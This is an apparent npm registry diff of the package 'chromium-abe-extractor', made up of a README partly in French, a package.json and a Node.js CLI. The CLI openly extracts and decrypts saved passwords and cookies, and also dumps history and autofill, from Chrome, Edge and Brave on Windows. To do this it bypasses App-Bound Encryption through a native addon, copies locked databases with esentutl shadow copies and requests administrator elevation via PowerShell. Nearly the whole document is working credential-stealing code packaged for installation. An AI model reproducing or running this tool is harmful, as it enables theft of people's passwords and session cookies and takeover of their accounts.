chromium-abe-extractor 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,55 @@
1
+ # chromium-abe-extractor
2
+
3
+ Extract Cookies, Passwords, History, and Autofill from Chrome, Edge, and Brave using App-Bound Encryption (ABE) key bypass on Windows.
4
+
5
+ > ⚠️ Windows uniquement. Nécessite un binaire natif `chrome_elevator.node` compilé pour la plateforme cible et très probablement les droits Administrateur.
6
+
7
+ ## Installation
8
+
9
+ Depuis un projet Node (en local) :
10
+
11
+ ```bash
12
+ npm install chromium-abe-extractor
13
+ ```
14
+
15
+ Ou en global pour l'utiliser en ligne de commande :
16
+
17
+ ```bash
18
+ npm install -g chromium-abe-extractor
19
+ ```
20
+
21
+ ## Utilisation en CLI
22
+
23
+ Une fois installé globalement :
24
+
25
+ ```bash
26
+ extractor -v
27
+ ```
28
+
29
+ Options :
30
+
31
+ - `-v`, `--verbose` : active les logs détaillés.
32
+ - `-h`, `--help` : affiche l'aide.
33
+
34
+ Les données extraites sont écrites dans le dossier `extracted_data/<browser>/<profile>/`.
35
+
36
+ ## Utilisation comme module Node
37
+
38
+ ```js
39
+ const { main } = require('chromium-abe-extractor');
40
+
41
+ // Lance l'extraction comme en CLI
42
+ main();
43
+ ```
44
+
45
+ ## Publication sur npm
46
+
47
+ Depuis le dossier du projet :
48
+
49
+ ```bash
50
+ npm login # une seule fois
51
+ npm publish --access public
52
+ ```
53
+
54
+ Assure-toi que `chrome_elevator.node` est présent dans le paquet (par exemple dans `./build/Release/chrome_elevator.node`) et que les chemins dans `extractor_cli.js` pointent au bon endroit avant de publier.
55
+
Binary file
@@ -0,0 +1,506 @@
1
+ #!/usr/bin/env node
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const crypto = require('crypto');
5
+ const { execSync, spawnSync } = require('child_process');
6
+
7
+ // --- Configuration & CLI Args ---
8
+ const args = process.argv.slice(2);
9
+ const VERBOSE = args.includes('--verbose') || args.includes('-v');
10
+ const HELP = args.includes('--help') || args.includes('-h');
11
+
12
+ if (HELP) {
13
+ console.log(`
14
+ Usage: extractor.exe [options]
15
+
16
+ Options:
17
+ -v, --verbose Enable detailed debug logging
18
+ -h, --help Show this help message
19
+
20
+ Description:
21
+ Extracts Cookies, Passwords, History, and Autofill from Chrome, Edge, and Brave
22
+ using App-Bound Encryption (ABE) key bypass.
23
+ `);
24
+ process.exit(0);
25
+ }
26
+
27
+ function debug(msg) {
28
+ if (VERBOSE) console.log(`[DEBUG] ${msg}`);
29
+ }
30
+
31
+ function log(msg) {
32
+ console.log(msg);
33
+ }
34
+
35
+ function error(msg) {
36
+ console.error(`[ERROR] ${msg}`);
37
+ }
38
+
39
+ // --- Load Native Addon ---
40
+ let chromeElevator;
41
+ try {
42
+ // Try multiple paths to find the native addon
43
+ const possiblePaths = [
44
+ './build/Release/chrome_elevator.node',
45
+ './chrome_elevator.node',
46
+ path.join(process.resourcesPath || '', 'chrome_elevator.node'), // Electron/Builder path
47
+ path.join(path.dirname(process.execPath), 'chrome_elevator.node')
48
+ ];
49
+
50
+ for (const p of possiblePaths) {
51
+ if (fs.existsSync(p)) {
52
+ debug(`Found native addon at: ${p}`);
53
+ chromeElevator = require(p);
54
+ break;
55
+ }
56
+ }
57
+
58
+ if (!chromeElevator) {
59
+ // Fallback to standard require if specific paths fail (e.g. dev environment)
60
+ try {
61
+ chromeElevator = require('./build/Release/chrome_elevator.node');
62
+ } catch (e) {
63
+ throw new Error("Could not find chrome_elevator.node in standard locations.");
64
+ }
65
+ }
66
+ } catch (err) {
67
+ error("Failed to load native addon: " + err.message);
68
+ process.exit(1);
69
+ }
70
+
71
+ // --- Database Library ---
72
+ let Database;
73
+ try {
74
+ Database = require('better-sqlite3');
75
+ } catch (err) {
76
+ error("Failed to load better-sqlite3: " + err.message);
77
+ process.exit(1);
78
+ }
79
+
80
+ // --- Browser Definitions ---
81
+ const BROWSERS = {
82
+ 'chrome': {
83
+ path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome', 'User Data'),
84
+ name: 'Google Chrome'
85
+ },
86
+ 'chrome-beta': {
87
+ path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome Beta', 'User Data'),
88
+ name: 'Google Chrome Beta'
89
+ },
90
+ 'edge': {
91
+ path: path.join(process.env.LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data'),
92
+ name: 'Microsoft Edge'
93
+ },
94
+ 'brave': {
95
+ path: path.join(process.env.LOCALAPPDATA, 'BraveSoftware', 'Brave-Browser', 'User Data'),
96
+ name: 'Brave Browser'
97
+ }
98
+ };
99
+
100
+ // --- Helper Functions ---
101
+
102
+ /**
103
+ * Reads profile list and display names from browser Local State (same source as the browser).
104
+ * Returns { folders: string[], displayNames: Object.<string, string> }.
105
+ * Falls back to empty if file missing or invalid.
106
+ */
107
+ function readLocalStateProfiles(userDataPath) {
108
+ const localStatePath = path.join(userDataPath, 'Local State');
109
+ const result = { folders: [], displayNames: {} };
110
+
111
+ if (!fs.existsSync(localStatePath)) return result;
112
+
113
+ try {
114
+ const raw = fs.readFileSync(localStatePath, 'utf8');
115
+ const data = JSON.parse(raw);
116
+ const infoCache = data?.profile?.info_cache;
117
+
118
+ if (!infoCache || typeof infoCache !== 'object') return result;
119
+
120
+ for (const [folderName, info] of Object.entries(infoCache)) {
121
+ result.folders.push(folderName);
122
+ if (info && typeof info.name === 'string') {
123
+ result.displayNames[folderName] = info.name;
124
+ }
125
+ }
126
+ } catch (err) {
127
+ debug(`Local State read failed: ${err.message}`);
128
+ }
129
+
130
+ return result;
131
+ }
132
+
133
+ /**
134
+ * Returns list of profile folder names to process. Uses Local State first so all
135
+ * profiles (e.g. "Ad Blocking") are included; only keeps folders that exist on disk.
136
+ */
137
+ function getProfileFolders(userDataPath) {
138
+ const { folders, displayNames } = readLocalStateProfiles(userDataPath);
139
+
140
+ const existing = folders.filter((name) => {
141
+ const fullPath = path.join(userDataPath, name);
142
+ try {
143
+ return fs.statSync(fullPath).isDirectory();
144
+ } catch {
145
+ return false;
146
+ }
147
+ });
148
+
149
+ if (existing.length > 0) return { folders: existing, displayNames };
150
+
151
+ // Fallback: scan filesystem (Default, Profile 1, Profile 2, ...)
152
+ try {
153
+ const entries = fs.readdirSync(userDataPath, { withFileTypes: true });
154
+ for (const entry of entries) {
155
+ if (entry.isDirectory() && (entry.name === 'Default' || entry.name.startsWith('Profile'))) {
156
+ existing.push(entry.name);
157
+ }
158
+ }
159
+ } catch (err) {
160
+ debug(`Profile folder scan failed: ${err.message}`);
161
+ }
162
+
163
+ return { folders: existing, displayNames };
164
+ }
165
+
166
+ function isAdmin() {
167
+ try {
168
+ execSync('net session', { stdio: 'ignore' });
169
+ return true;
170
+ } catch {
171
+ return false;
172
+ }
173
+ }
174
+
175
+ function copyFileVSS(source, dest) {
176
+ debug(`Copying ${source} to ${dest}`);
177
+ try {
178
+ // 1. Try native copyLockedFile
179
+ if (chromeElevator.copyLockedFile) {
180
+ debug("Attempting native copyLockedFile...");
181
+ if (chromeElevator.copyLockedFile(source, dest)) {
182
+ debug("Native copy successful.");
183
+ return;
184
+ }
185
+ debug("Native copy returned false.");
186
+ }
187
+
188
+ // 2. Try standard fs.copy
189
+ debug("Attempting standard fs.copy...");
190
+ fs.copyFileSync(source, dest);
191
+ debug("Standard copy successful.");
192
+
193
+ } catch (err) {
194
+ debug(`Standard copy failed: ${err.message}`);
195
+ // 3. Fallback to esentutl
196
+ try {
197
+ debug("Attempting esentutl fallback...");
198
+ const cmd = `esentutl /y "${source}" /d "${dest}" /vss`;
199
+ execSync(cmd, { stdio: 'ignore' });
200
+ debug("Esentutl copy successful.");
201
+ } catch (e) {
202
+ throw new Error("All copy methods failed. Esentutl error: " + e.message);
203
+ }
204
+ }
205
+ }
206
+
207
+ function decryptData(encryptedBuffer, keyHex) {
208
+ try {
209
+ if (!encryptedBuffer || encryptedBuffer.length < 31) return null;
210
+
211
+ const prefix = encryptedBuffer.slice(0, 3).toString();
212
+ if (prefix !== 'v20') return null;
213
+
214
+ const iv = encryptedBuffer.slice(3, 15);
215
+ const ciphertext = encryptedBuffer.slice(15, -16);
216
+ const tag = encryptedBuffer.slice(-16);
217
+ const key = Buffer.from(keyHex, 'hex');
218
+
219
+ const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
220
+ decipher.setAuthTag(tag);
221
+
222
+ let decrypted = decipher.update(ciphertext);
223
+ decrypted = Buffer.concat([decrypted, decipher.final()]);
224
+
225
+ if (decrypted.length > 32) {
226
+ return decrypted.slice(32).toString('utf8');
227
+ }
228
+ return decrypted.toString('utf8');
229
+
230
+ } catch (err) {
231
+ debug(`Decryption failed: ${err.message}`);
232
+ return null;
233
+ }
234
+ }
235
+
236
+ function toNetscape(cookie) {
237
+ const domain = cookie.host_key;
238
+ const flag = domain.startsWith('.') ? 'TRUE' : 'FALSE';
239
+ const path = cookie.path;
240
+ const secure = cookie.is_secure ? 'TRUE' : 'FALSE';
241
+
242
+ let expiration = 0;
243
+ if (cookie.expires_utc > 0) {
244
+ expiration = Math.floor((cookie.expires_utc / 1000000) - 11644473600);
245
+ if (expiration < 0) expiration = 0;
246
+ }
247
+
248
+ const name = cookie.name;
249
+ const value = cookie.decryptedValue;
250
+
251
+ return `${domain}\t${flag}\t${path}\t${secure}\t${expiration}\t${name}\t${value}`;
252
+ }
253
+
254
+ // --- Extraction Functions ---
255
+
256
+ function extractHistory(profilePath, outputDir) {
257
+ const historyPath = path.join(profilePath, 'History');
258
+ if (!fs.existsSync(historyPath)) {
259
+ debug(`No History file found at ${historyPath}`);
260
+ return;
261
+ }
262
+
263
+ const tempDb = path.join(outputDir, 'temp_history.db');
264
+ try {
265
+ copyFileVSS(historyPath, tempDb);
266
+ const db = new Database(tempDb, { readonly: true });
267
+
268
+ const stmt = db.prepare('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5000');
269
+ const rows = stmt.all();
270
+
271
+ const outFile = path.join(outputDir, 'history.txt');
272
+ const stream = fs.createWriteStream(outFile, { flags: 'w' });
273
+
274
+ for (const row of rows) {
275
+ stream.write(`URL: ${row.url}\nTitle: ${row.title}\nVisits: ${row.visit_count}\nLast Visit: ${row.last_visit_time}\n--------------------------\n`);
276
+ }
277
+
278
+ stream.end();
279
+ db.close();
280
+ log(` [V] Extracted ${rows.length} history items.`);
281
+ } catch (err) {
282
+ error(`Error extracting history: ${err.message}`);
283
+ } finally {
284
+ if (fs.existsSync(tempDb)) try { fs.unlinkSync(tempDb); } catch(e) {}
285
+ }
286
+ }
287
+
288
+ function extractAutofill(profilePath, outputDir) {
289
+ const webDataPath = path.join(profilePath, 'Web Data');
290
+ if (!fs.existsSync(webDataPath)) {
291
+ debug(`No Web Data file found at ${webDataPath}`);
292
+ return;
293
+ }
294
+
295
+ const tempDb = path.join(outputDir, 'temp_webdata.db');
296
+ try {
297
+ copyFileVSS(webDataPath, tempDb);
298
+ const db = new Database(tempDb, { readonly: true });
299
+
300
+ const stmt = db.prepare('SELECT name, value, date_created FROM autofill');
301
+ const rows = stmt.all();
302
+
303
+ const outFile = path.join(outputDir, 'autofill.txt');
304
+ const stream = fs.createWriteStream(outFile, { flags: 'w' });
305
+
306
+ for (const row of rows) {
307
+ stream.write(`Name: ${row.name}\nValue: ${row.value}\nDate: ${row.date_created}\n--------------------------\n`);
308
+ }
309
+
310
+ stream.end();
311
+ db.close();
312
+ log(` [V] Extracted ${rows.length} autofill items.`);
313
+ } catch (err) {
314
+ error(`Error extracting autofill: ${err.message}`);
315
+ } finally {
316
+ if (fs.existsSync(tempDb)) try { fs.unlinkSync(tempDb); } catch(e) {}
317
+ }
318
+ }
319
+
320
+ function extractPasswords(profilePath, outputDir, key) {
321
+ const loginDataPath = path.join(profilePath, 'Login Data');
322
+ if (!fs.existsSync(loginDataPath)) {
323
+ debug(`No Login Data file found at ${loginDataPath}`);
324
+ return;
325
+ }
326
+
327
+ const tempDb = path.join(outputDir, 'temp_login.db');
328
+ try {
329
+ copyFileVSS(loginDataPath, tempDb);
330
+ const db = new Database(tempDb, { readonly: true });
331
+
332
+ const stmt = db.prepare('SELECT origin_url, username_value, password_value FROM logins');
333
+ const rows = stmt.all();
334
+
335
+ const outFile = path.join(outputDir, 'passwords.txt');
336
+ const stream = fs.createWriteStream(outFile, { flags: 'w' });
337
+ let count = 0;
338
+
339
+ for (const row of rows) {
340
+ if (row.password_value) {
341
+ const decryptedPass = decryptData(row.password_value, key);
342
+ if (decryptedPass) {
343
+ stream.write(`URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${decryptedPass}\n--------------------------\n`);
344
+ count++;
345
+ }
346
+ }
347
+ }
348
+
349
+ stream.end();
350
+ db.close();
351
+ log(` [V] Extracted ${count} passwords.`);
352
+ } catch (err) {
353
+ error(`Error extracting passwords: ${err.message}`);
354
+ } finally {
355
+ if (fs.existsSync(tempDb)) try { fs.unlinkSync(tempDb); } catch(e) {}
356
+ }
357
+ }
358
+
359
+ // --- Main Execution ---
360
+
361
+ function main() {
362
+ log("=== Universal Browser Data Extractor CLI (ABE) ===");
363
+ log("Version 1.0.0");
364
+ debug("Debug mode enabled.");
365
+
366
+ if (!isAdmin()) {
367
+ log("[-] Not running as Administrator. Attempting to elevate...");
368
+ try {
369
+ const scriptPath = __filename;
370
+ const nodePath = process.execPath;
371
+
372
+ // Check if we are in an executable (pkg or electron built)
373
+ const isPackaged = process.pkg || process.argv[0].endsWith('.exe');
374
+
375
+ let cmd;
376
+ if (isPackaged && !process.argv[0].includes('node.exe')) {
377
+ // If running as a standalone EXE (not node.exe), restart the EXE itself
378
+ cmd = `powershell -Command "Start-Process '${process.argv[0]}' -ArgumentList '${args.join(' ')}' -Verb RunAs"`;
379
+ } else {
380
+ // If running as node script
381
+ cmd = `powershell -Command "Start-Process '${nodePath}' -ArgumentList '${scriptPath} ${args.join(' ')}' -Verb RunAs"`;
382
+ }
383
+
384
+ debug(`Elevation command: ${cmd}`);
385
+ execSync(cmd);
386
+ log("[+] Elevated process started. Please check the new window.");
387
+ process.exit(0);
388
+ } catch (err) {
389
+ error("Failed to elevate privileges: " + err.message);
390
+ log("[!] Continuing without Admin rights (some files may be locked)...");
391
+ }
392
+ } else {
393
+ log("[+] Running as Administrator.");
394
+ }
395
+
396
+ for (const [key, config] of Object.entries(BROWSERS)) {
397
+ if (!fs.existsSync(config.path)) {
398
+ debug(`${config.name} not found at ${config.path}`);
399
+ continue;
400
+ }
401
+
402
+ log(`\n[*] Processing ${config.name}...`);
403
+
404
+ // 1. Get ABE Key
405
+ let abeKey;
406
+ try {
407
+ log(` > Requesting ABE Key...`);
408
+ abeKey = chromeElevator.getABEKey(key);
409
+ if (!abeKey) {
410
+ log(` [!] Failed to retrieve ABE Key.`);
411
+ continue;
412
+ }
413
+ log(` [V] Key retrieved successfully.`);
414
+ debug(`Key length: ${abeKey.length / 2} bytes`);
415
+ } catch (err) {
416
+ error(`Error retrieving key: ${err.message}`);
417
+ continue;
418
+ }
419
+
420
+ // 2. Find Profiles (from Local State so all profiles e.g. "Ad Blocking" are included)
421
+ const { folders: profiles, displayNames } = getProfileFolders(config.path);
422
+
423
+ if (profiles.length === 0) {
424
+ log(` [!] No profiles found.`);
425
+ continue;
426
+ }
427
+
428
+ log(` > Found ${profiles.length} profiles.`);
429
+
430
+ // 3. Process each profile
431
+ for (const profile of profiles) {
432
+ const profilePath = path.join(config.path, profile);
433
+ const cookiePath = path.join(profilePath, 'Network', 'Cookies');
434
+ const displayName = displayNames[profile];
435
+ const profileLabel = displayName ? `${profile} (${displayName})` : profile;
436
+
437
+ log(` > Profile: ${profileLabel}`);
438
+
439
+ // Create output directory
440
+ const outputDir = path.join('extracted_data', key, profile);
441
+ if (!fs.existsSync(outputDir)) {
442
+ fs.mkdirSync(outputDir, { recursive: true });
443
+ }
444
+
445
+ // Extract Cookies
446
+ if (fs.existsSync(cookiePath)) {
447
+ const tempDbPath = path.join(outputDir, 'temp_cookies.db');
448
+ try {
449
+ copyFileVSS(cookiePath, tempDbPath);
450
+ const db = new Database(tempDbPath, { readonly: true });
451
+ const stmt = db.prepare('SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies');
452
+ const cookies = stmt.all();
453
+
454
+ let decryptedCount = 0;
455
+ const outputFile = path.join(outputDir, 'cookies.txt');
456
+ const stream = fs.createWriteStream(outputFile, { flags: 'w' });
457
+
458
+ stream.write("# Netscape HTTP Cookie File\n");
459
+ stream.write("# This file was generated by Chrome ABE Decryptor\n\n");
460
+
461
+ for (const cookie of cookies) {
462
+ if (cookie.encrypted_value) {
463
+ const decryptedValue = decryptData(cookie.encrypted_value, abeKey);
464
+ if (decryptedValue) {
465
+ cookie.decryptedValue = decryptedValue;
466
+ const netscapeLine = toNetscape(cookie);
467
+ stream.write(netscapeLine + "\n");
468
+ decryptedCount++;
469
+ }
470
+ }
471
+ }
472
+
473
+ stream.end();
474
+ db.close();
475
+ log(` [V] Extracted ${decryptedCount} cookies.`);
476
+ } catch (err) {
477
+ error(`Error processing cookies: ${err.message}`);
478
+ } finally {
479
+ if (fs.existsSync(tempDbPath)) try { fs.unlinkSync(tempDbPath); } catch(e) {}
480
+ }
481
+ } else {
482
+ debug(`No Cookies file found at ${cookiePath}`);
483
+ }
484
+
485
+ // Extract History
486
+ extractHistory(profilePath, outputDir);
487
+
488
+ // Extract Autofill
489
+ extractAutofill(profilePath, outputDir);
490
+
491
+ // Extract Passwords
492
+ extractPasswords(profilePath, outputDir, abeKey);
493
+ }
494
+ }
495
+ log("\n=== Extraction Complete ===");
496
+ if (process.stdin.isTTY) {
497
+ log("Press Enter to exit...");
498
+ process.stdin.once('data', () => process.exit(0));
499
+ }
500
+ }
501
+
502
+ if (require.main === module) {
503
+ main();
504
+ }
505
+
506
+ module.exports = { main };
package/package.json ADDED
@@ -0,0 +1,38 @@
1
+ {
2
+ "name": "chromium-abe-extractor",
3
+ "version": "1.0.0",
4
+ "description": "Extract Cookies, Passwords, History, and Autofill from Chrome, Edge, and Brave using App-Bound Encryption (ABE) key bypass (Windows only).",
5
+ "main": "extractor_cli.js",
6
+ "bin": {
7
+ "extractor": "extractor_cli.js"
8
+ },
9
+ "scripts": {
10
+ "start": "node extractor_cli.js"
11
+ },
12
+ "keywords": [
13
+ "chrome",
14
+ "edge",
15
+ "brave",
16
+ "chromium",
17
+ "cookies",
18
+ "passwords",
19
+ "history",
20
+ "autofill",
21
+ "abe",
22
+ "decrypt"
23
+ ],
24
+ "author": "",
25
+ "license": "MIT",
26
+ "dependencies": {
27
+ "better-sqlite3": "^11.0.0"
28
+ },
29
+ "files": [
30
+ "extractor_cli.js",
31
+ "chrome_elevator.node",
32
+ "README.md"
33
+ ],
34
+ "os": [
35
+ "win32"
36
+ ]
37
+ }
38
+